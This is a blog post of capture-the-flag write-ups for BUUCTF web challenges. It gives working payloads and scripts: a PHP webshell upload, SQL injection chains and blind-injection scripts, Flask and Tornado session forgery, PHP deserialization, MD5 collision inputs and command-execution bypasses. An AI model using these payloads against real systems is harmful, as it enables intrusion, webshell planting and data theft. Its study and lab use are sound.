BUUCTF- Web系列

[护网杯 2018]easy_tornado

file

file

/welcome.txt render

/flag.txt flag in /fllllllllllllag

从hint知道想要访问/fllllllllllllag 必须要知道cookie_secret tornado是个python框架在?msg处存在模板注入

参考 参考

通过 可以读到cookie_secret

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '731b7766-dadb-4d22-a219-d4e9fd2c1cd5'}

然后计算filehash

import hashlib
filename="/fllllllllllllag"
a=hashlib.md5(filename.encode("utf-8")).hexdigest()
coo="731b7766-dadb-4d22-a219-d4e9fd2c1cd5"
flag=coo+a
print(hashlib.md5(flag.encode("utf-8")).hexdigest())

/file?filename=/fllllllllllllag&filehash=95a063f2d54d70aa416aacdacfac2c34

[极客大挑战 2019]Upload

文件上传 添加 GIF89a 文件头 绕过后缀检测

php,php3,php4,php5,phtml.pht

一句话

eval($_REQUEST[shell])

payload

Content-Disposition: form-data; name="file"; filename="rainyautumn.phtml"
Content-Type: image/jpeg

GIF89a
<script language="php">eval($_REQUEST[shell])</script>

------WebKitFormBoundaryxlOTPnVchImtbY8N
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryxlOTPnVchImtbY8N--

然后蚁剑连接

[ACTF2020 新生赛]Upload

同上 不需要添加GIF89a就可以 后台

<?php
    error_reporting(0);
    //设置上传目录
    define("UPLOAD_PATH", "./uplo4d");
    $msg = "Upload Success!";
    if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_name = $_FILES['upload_file']['name'];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
            exit('nonono~ Bad file!');
        }

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;

        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }
?>

[ACTF2020 新生赛]BackupFile

备份文件 index.php.bak

访问/inde.php

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

直接若比较key=123

[HCTF 2018]admin

注册个账号登录 change password页面 file 有源码

session伪造

file

此处根据session来修改密码 修改密码页面只需要提供一个新密码

原本想着把这个搭建起来 然后传入admin的name 得出一个新的session进行伪造 但是没成功

然后又专门的session解密加密脚本

https://github.com/noraj/flask-session-cookie-manager

解密

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    st='''.eJxFkEFrwkAQhf9KmbMHY5OL4MGydbEwU1aShp2LWI3GzY6FaIhZ8b93a6E9zMC8j_dg3g3W-7Y61zC9tF01gvVxB9MbPH3CFDBQja4Z7AQTdnxEsT3LMkUxGeW-ZnV4pvL1yqVNyeGAmj3nJsPJyrHCjNWLJ70M8Y76h6c4KEX00g-_knsdo7MDaZuhsgFl5THMA2mSqKcYdsK5zWxepKzmPYVVTYEdBRM311RigpOit87M4D6C7bndry9fTXX6e-Fd7RrrFkJ6Iay5ZnlrUHnHzqRUmp50cbXB9JgvxJbFgM7XOJ894o6yOVT_ZSTb1B5-yWkjEcCmu3RyghF056p9FAfJGO7foWlvHw.YIOo-Q.q-x7RziV-prTk0ZEr3zX6dFVNuU'''
    print(decryption(st.encode()))

file

然后name改成admin加密session 需要一个SECRET_KEY 在config.py中可以找到 ‘ckj123’ file

file 用admin 123456 登录成功

方法二:Unicode欺骗

file

修改密码的时候是先将name转为小写 file 调用的是此函数 有漏洞 在这个网站上找字符 https://unicode-table.com/en/search/?q=small+capital

登录的时候调用一次 改密码的时候调用一次

ᴬᴰᴹᴵᴺ -> ADMIN -> admin file

然后就注册ᴬᴰᴹᴵᴺ 再改密码 然后用admin登录就可以了

方法三 条件竞争

登录的时候没有验证是不是admin就把name赋值给了session

可以进行竞争


import requests
import threading

def login(s, username, password):
    data = {'username': username, 'password': password, 'submit': ''}
    return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
    data = {'newpassword': newpassword}
    return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
    login(s, 'ddd', 'ddd')
    change(s, 'qweqweabcabc')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'qweqweabcabc')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

[极客大挑战 2019]BuyFlag

在 pay.php中发现

if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断! password=404%20

file

此处要发user改为1

file

file

不知道为啥用burp一直显示让输入密码

[BJDCTF2020]Easy MD5

file

使用password=ffifdyop

file

md5弱比较 param1=QNKCDZO&param2=aabg7XSs md5强比较,没有规定字符串如果这个时候传入的是数组不是字符串,md5()函数无法解出其数值并且不会报错,就会得到数值相等; param1[]=111&param2[]=222 真实md5碰撞,因为此时不能输入数组了,只能输入字符串 payload:

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第三关

file

[ZJCTF 2019]NiZhuanSiWei

https://www.php.net/manual/zh/wrappers.data.php

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

第一步使用data协议绕过 text=”data://text/plain,welcome to the zjctf” 或者 text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= file

第二部提示要读取useless.php file=php://filter/read=convert.base64-encode/resource=useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

payload

<?php

class Flag{  //flag.php
    public $file='flag.php';
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a=new Flag();
echo urlencode(serialize($a));

O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

最终payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

[极客大挑战 2019]HardSQL

报错注入 查数据库

?username=1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=dwa

file

数据库名 geek

查表

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=dwa

XPATH syntax error: ‘H4rDsq1

表名:H4rDsq1

查列名

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=dwa

列名 id,username,password

查字段

?username=1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=dwa

出来一半

XPATH syntax error: ‘~flag{b50d93ce-cae6-4a7e-914a-e7’

使用right函数和left函数 file

?username=1'or(updatexml(1,concat(0x7e,(select(right((password),20))from(H4rDsq1)),0x7e),1))%23&password=dwa

XPATH syntax error: ‘e-914a-e746ed3fd7f7}

flag: flag{b50d93ce-cae6-4a7e-914a-e746ed3fd7f7}

[CISCN2019 华北赛区 Day2 Web1]Hack World

or过滤了用^ 异或代替

payload 0^(ascii(substr((select(flag)from(flag)),1,1))>1)

脚本:

import requests
import time
burp0_url = "http://0f66badd-a354-4c85-b402-fa6dc8c388d8.node3.buuoj.cn:80/index.php"

flag=''
i=0
while True:
    head=32
    tail=127
    i+=1
    while head<tail:
        mid=(head+tail)>>1
        payload=f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
        burp0_data = {"id": payload}
        re=requests.post(burp0_url,data=burp0_data)
        time.sleep(0.01)
        if 'girlfriend' in re.text:
            head=mid+1
        else:
            tail=mid

    if head != 32:
        flag += chr(head)
        print(flag)
    else:
        break

[网鼎杯 2018]Fakebook

备份文件 /user.php.bak 存在sql注入 http://66acd29d-2888-4c66-807f-4dbd28d58c41.node3.buuoj.cn/view.php?no=1/**/order%20by%204–%20+

列数为4 查数据库 http://66acd29d-2888-4c66-807f-4dbd28d58c41.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,database(),3,4–%20+ file

查表 http://66acd29d-2888-4c66-807f-4dbd28d58c41.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()–%20+

file

查列名 http://66acd29d-2888-4c66-807f-4dbd28d58c41.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name=%27users%27–%20+

file

data列 http://66acd29d-2888-4c66-807f-4dbd28d58c41.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,concat(data),3,4/**/from/**/users–%20+ file

是序列化后的字符串

第一种方法是没有ban读文件的函数 有路径可以把flag读出来

大佬脚本

import requests
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 50
    for l in range(1,length+1):
        begin = 1
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            #判断条件根据情况修改
            if b'http://www.baidu.com' in r.content:
                begin = tmp+1
                tmp = (begin+ends)//2 
            else:
                ends = tmp
                tmp = (begin+ends)//2
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url = "http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=elt(ord(substr(load_file(%27/var/www/html/flag.php%27),{},1))%3E{},1)"
exp(url,400)

另一种利用反序列化 查询出 查出的结果 会被反序列化 利用查出的字段 data在第四个 序列化payload

<?php

class UserInfo
{
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

}

$a = new UserInfo();
echo serialize($a);
?>
O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A1%3A%221%22%3Bs%3A3%3A%22age%22%3Bi%3A0%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D

http://66acd29d-2888-4c66-807f-4dbd28d58c41.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22;i:0;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27–%20+

file

[GXYCTF2019]BabySQli

file

base32解密然后base64解密得到 select * from user where username = ‘$name’ file

3个字段

这的md5加密不知道大师傅们是怎么猜出来的

后端代码 file

验证用户名是否是admin 然后输入的密码字段MD5加密后和数据库中的是否一样

利用union联合查询时会在表中产生自己设定的数据

file

file

这样查出来的结果我们就可以自己设定了 file

[MRCTF2020]你传你🐎呢

apache解析漏洞 添加htaccess

file

然后再添加图片马 file

蚁剑连接

[MRCTF2020]Ez_bypass

file file

[GYCTF2020]Blacklist

file 堆叠注入 1’;show tables;# file

handler直接读取 payload

1';handler FlagHere open;handler FlagHere read first;#

[强网杯 2019]高明的黑客

直接备份下载 借助大佬的脚本 看着感觉很麻烦

import os
import threading
import requests
import re
import time

filePath = r"C:\exp\src"
os.chdir(filePath)
files = os.listdir(filePath)

thread_ = threading.Semaphore(100)
requests.adapters.DEFAULT_RETRIES = 5
session = requests.Session()
session.keep_alive = False

max_try = 20

def getContent(file):
    print(file + " is testing")
    thread_.acquire()
    with open(file, encoding='utf-8') as f:
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    params = {}
    data = {}
    for g in gets:
        params[g] = "echo 'ppp_qqq';"
    for p in posts:
        data[p] = "echo 'ppp_qqq';"

    url = 'http://192.168.160.128/src/' + file
    req = session.post(url, data=data, params=params)
    req.encoding = 'utf-8'
    content = req.text
    req.close()

    if 'ppp_qqq' in content:
        flag = ''
        for g in gets:
            req = session.get(url + "?%s=echo 'ppp_qqq';" % g)
            content = req.text
            req.close()
            if 'ppp_qqq' in content:
                flag = g
                break
        if len(flag) != 0:
            for p in posts:
                req = session.post(url, data={p: "echo 'ppp_qqq';"})
                content = req.text
                req.close()
                if 'ppp_qqq' in content:
                    flag = p
                    break

        print('找到了利用文件:' + file + '  利用参数:' + flag)
    thread_.release()

if __name__ == '__main__':
    print("start")
    for file in files:
        time.sleep(0.02)  #加个延时
        t = threading.Thread(target=getContent, args=(file,))
        t.start()

/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

[RoarCTF 2019]Easy Java

在help处有文件包含 根据java项目的目录 包含出WEB-INf/web.xml文件 file

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,通过反编译class文件,得到网站源码

file

file

[GXYCTF2019]BabyUpload

file

然后添加图片马 file y蚁剑连接

[GXYCTF2019]禁止套娃

git泄露

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/filter:\/\/php:\/\/phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/etnainfodecbinhexoctpilog/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

无参数RCE 打印当前目录

print_r(scandir(current(localeconv())));

file

show_source(next(array_reverse(scandir(current(localeconv()))))); file

[BJDCTF2020]The mystery of ip

模板注入

以为模板注入的题都是python的 这个是php的 PHP/模版引擎Twig注入 提示 file

file file

[GWCTF 2019]我有一个数据库

phpmyadmin不需要登录直接进 存在版本漏洞 target=db_sql.php%253f/../../../../../../../../flag

[BJDCTF2020]ZJCTF,不过如此

和之前碰到的第一步一样 使用 ?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

preg_replace()使用的/e模式可以存在远程执行代码

https://xz.aliyun.com/t/2557 payload

http://578088d8-c4df-4852-82d4-60bbe35b2356.node3.buuoj.cn/?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getflag()}&cmd=show_source(%22/flag%22);

[BJDCTF2020]Mark loves cat

.git泄露

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  //GET方式传flag只能传一个flag=flag
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){    //GET和POST其中之一必须传flag
    exit($yds);
}

if($_POST['flag'] === 'flag'   $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
    exit($is);
}

echo "the flag is: ".$flag;

payload GET:yds=flag POST:$flag=flag

[安洵杯 2019]easy_web

http://76457cfc-6f34-4720-8302-2c61dcac8cb0.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd= 读取源码

<?php
error_reporting(E_ALL  ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img'])  !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/lsbashtacnlmorelessheadwgettailvicatodgrepsedbzmorebzlesspcrepastedifffileechosh\'\"\`;,\*\?\\\\\\\n\t\r\xA0\{\}\(\)\&[^\d]@\\\$\[\]{}\(\)-<>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}
?>

md5强类型绕过

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

不知道为啥我的不行

ca\t%20/flag绕过命令执行


BUUCTF- Web系列
http://example.com/2021/04/24/OldBlog/buuctf-web系列/
作者
Autumn
发布于
2021年4月24日
许可协议